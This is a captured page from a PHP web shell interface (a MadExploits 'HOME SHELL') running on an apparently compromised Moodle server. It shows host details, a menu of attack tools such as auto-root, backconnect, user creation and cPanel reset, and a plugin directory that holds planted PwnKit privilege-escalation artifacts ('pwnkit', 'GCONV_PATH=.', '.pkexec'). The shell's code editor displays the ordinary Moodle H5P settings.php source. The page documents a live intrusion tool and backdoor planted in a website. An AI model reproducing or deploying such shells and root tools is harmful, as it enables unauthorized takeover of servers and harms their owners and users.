Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.17.58
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
mod /
hvp /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
amd
[ DIR ]
drwxr-xr-x
backup
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
editor
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
library
[ DIR ]
drwxr-xr-x
pix
[ DIR ]
drwxr-xr-x
reporting
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
.eslintrc
5.77
KB
-rw-r--r--
.gitignore
49
B
-rw-r--r--
.gitmodules
323
B
-rw-r--r--
.jshintrc
163
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
.travis.yml
4.8
KB
-rw-r--r--
LICENSE
17.62
KB
-rw-r--r--
README.md
2.39
KB
-rw-r--r--
ajax.php
16.43
KB
-rw-r--r--
autoloader.php
3.68
KB
-rw-r--r--
content_hub_registration.php
2.03
KB
-rw-r--r--
dataviews.js
1.31
KB
-rw-r--r--
editor.js
1.25
KB
-rw-r--r--
embed.php
3.53
KB
-rw-r--r--
grade.php
5
KB
-rw-r--r--
index.php
4.25
KB
-rw-r--r--
lib.php
16.49
KB
-rw-r--r--
library_list.php
5.1
KB
-rw-r--r--
locallib.php
25.48
KB
-rw-r--r--
mod_form.php
18.76
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
renderer.php
3.1
KB
-rw-r--r--
review.php
6.74
KB
-rw-r--r--
settings-hide-key.js
1018
B
-rw-r--r--
settings.php
7.2
KB
-rw-r--r--
share.php
5.63
KB
-rw-r--r--
styles.css
2.18
KB
-rw-r--r--
thirdpartylibs.xml
542
B
-rw-r--r--
upgrade_content_page.php
4.95
KB
-rw-r--r--
version.php
1.06
KB
-rw-r--r--
view.css
1.74
KB
-rw-r--r--
view.php
3.37
KB
-rw-r--r--
xapi-collector.js
5.67
KB
-rw-r--r--
xapi-custom-report.css
1.39
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : settings.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Administration settings definitions for the hvp module. * * @package mod_hvp * @copyright 2016 Joubel AS <contact@joubel.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ // Make sure we are called from an internal Moodle site. defined('MOODLE_INTERNAL') || die(); require_once($CFG->dirroot . '/mod/hvp/lib.php'); require_once($CFG->dirroot . '/mod/hvp/classes/admin_setting_html.php'); global $PAGE; // Redefine the H5P admin menu entry to be expandable. $modltifolder = new admin_category('modhvpfolder', new lang_string('pluginname', 'mod_hvp'), $module->is_enabled() === false); // Add the Settings admin menu entry. $ADMIN->add('modsettings', $modltifolder); $settings->visiblename = new lang_string('settings', 'mod_hvp'); // Add the Libraries admin menu entry. $ADMIN->add('modhvpfolder', $settings); $ADMIN->add('modhvpfolder', new admin_externalpage('h5plibraries', get_string('libraries', 'hvp'), new moodle_url('/mod/hvp/library_list.php'))); if ($ADMIN->fulltree) { // Make sure core is loaded. $core = \mod_hvp\framework::instance('core'); // Settings is stored on the global $CFG object. // Content state. $settings->add( new admin_setting_configcheckbox('mod_hvp/enable_save_content_state', get_string('enablesavecontentstate', 'hvp'), get_string('enablesavecontentstate_help', 'hvp'), 0)); $settings->add( new admin_setting_configtext('mod_hvp/content_state_frequency', get_string('contentstatefrequency', 'hvp'), get_string('contentstatefrequency_help', 'hvp'), 30, PARAM_INT)); $PAGE->requires->js('/mod/hvp/library/js/jquery.js', true); $PAGE->requires->js('/mod/hvp/library/js/h5p-display-options.js', true); // Send usage statistics. $settings->add( new admin_setting_configcheckbox('mod_hvp/send_usage_statistics', get_string('sendusagestatistics', 'hvp'), get_string('sendusagestatistics_help', 'hvp', 'href="https://h5p.org/tracking-the-usage-of-h5p" target="_blank"'), 1) ); $choices = array( H5PDisplayOptionBehaviour::NEVER_SHOW => get_string('displayoptiondownloadnever', 'hvp'), H5PDisplayOptionBehaviour::ALWAYS_SHOW => get_string('displayoptiondownloadalways', 'hvp'), H5PDisplayOptionBehaviour::CONTROLLED_BY_PERMISSIONS => get_string('displayoptiondownloadpermission', 'hvp'), H5PDisplayOptionBehaviour::CONTROLLED_BY_AUTHOR_DEFAULT_ON => get_string('displayoptionauthoron', 'hvp'), H5PDisplayOptionBehaviour::CONTROLLED_BY_AUTHOR_DEFAULT_OFF => get_string('displayoptionauthoroff', 'hvp') ); $embedchoices = array( H5PDisplayOptionBehaviour::NEVER_SHOW => get_string('displayoptionnevershow', 'hvp'), H5PDisplayOptionBehaviour::ALWAYS_SHOW => get_string('displayoptionalwaysshow', 'hvp'), H5PDisplayOptionBehaviour::CONTROLLED_BY_PERMISSIONS => get_string('displayoptionpermissionsembed', 'hvp'), H5PDisplayOptionBehaviour::CONTROLLED_BY_AUTHOR_DEFAULT_ON => get_string('displayoptionauthoron', 'hvp'), H5PDisplayOptionBehaviour::CONTROLLED_BY_AUTHOR_DEFAULT_OFF => get_string('displayoptionauthoroff', 'hvp') ); // Display options for H5P frame. $settings->add(new admin_setting_heading('mod_hvp/display_options', get_string('displayoptions', 'hvp'), '')); $settings->add(new admin_setting_configcheckbox('mod_hvp/frame', get_string('enableframe', 'hvp'), '', 1)); $settings->add(new admin_setting_configselect('mod_hvp/export', get_string('enabledownload', 'hvp'), '', H5PDisplayOptionBehaviour::ALWAYS_SHOW, $choices)); $settings->add(new admin_setting_configselect('mod_hvp/embed', get_string('enableembed', 'hvp'), '', H5PDisplayOptionBehaviour::ALWAYS_SHOW, $embedchoices)); $settings->add(new admin_setting_configcheckbox('mod_hvp/copyright', get_string('enablecopyright', 'hvp'), '', 1)); $settings->add(new admin_setting_configcheckbox('mod_hvp/icon', get_string('enableabout', 'hvp'), '', 1)); // Content Types header. $settings->add(new admin_setting_heading('mod_hvp/hub_settings', get_string('hubsettingsheader', 'hvp'), '')); // LRS. $settings->add( new admin_setting_configcheckbox('mod_hvp/enable_lrs_content_types', get_string('enabledlrscontenttypes', 'hvp'), get_string('enabledlrscontenttypes_help', 'hvp'), 0)); // Use H5P Hub. $settings->add( new admin_setting_configcheckbox( 'mod_hvp/hub_is_enabled', get_string('enablehublabel', 'hvp'), get_string('disablehubdescription', 'hvp'), 1 ) ); // Content Hub. $hubinfo = $core->hubAccountInfo(); $settings->add(new admin_setting_heading( 'mod_hvp/content_hub_settings', get_string('contenthub:settings:heading', 'hvp'), '' )); $settings->add(new admin_setting_html( 'mod_hvp/content_hub_settings_box', get_string('contenthub:settings:box', 'hvp'), $hubinfo )); // Load js for disable hub confirmation dialog functionality. $PAGE->requires->js('/mod/hvp/library/js/jquery.js', true); $PAGE->requires->js('/mod/hvp/library/js/h5p-event-dispatcher.js', true); $PAGE->requires->js('/mod/hvp/library/js/h5p-confirmation-dialog.js', true); $PAGE->requires->js('/mod/hvp/library/js/settings/h5p-disable-hub.js', true); // Skip applying css when page has already loaded, since Moodle does not. // allow us to require the css at this point. if ($PAGE->state !== 2) { $PAGE->requires->css('/mod/hvp/library/styles/h5p-confirmation-dialog.css'); $PAGE->requires->css('/mod/hvp/library/styles/h5p.css'); $PAGE->requires->css('/mod/hvp/library/styles/h5p-core-button.css'); } // Find missing requirements. $errors = $core->checkSetupErrorMessage()->errors; $PAGE->requires->data_for_js('H5PDisableHubData', array( 'selector' => '#id_s_mod_hvp_hub_is_enabled', 'overlaySelector' => '#adminsettings', 'header' => get_string('confirmdialogheader', 'hvp'), 'confirmLabel' => get_string('confirmlabel', 'hvp'), 'cancelLabel' => get_string('cancellabel', 'hvp'), 'confirmationDialogMsg' => get_string('disablehubconfirmationmsg', 'hvp'), 'errors' => $errors )); } // Prevent Moodle from adding settings block in standard location. $settings = null;
Close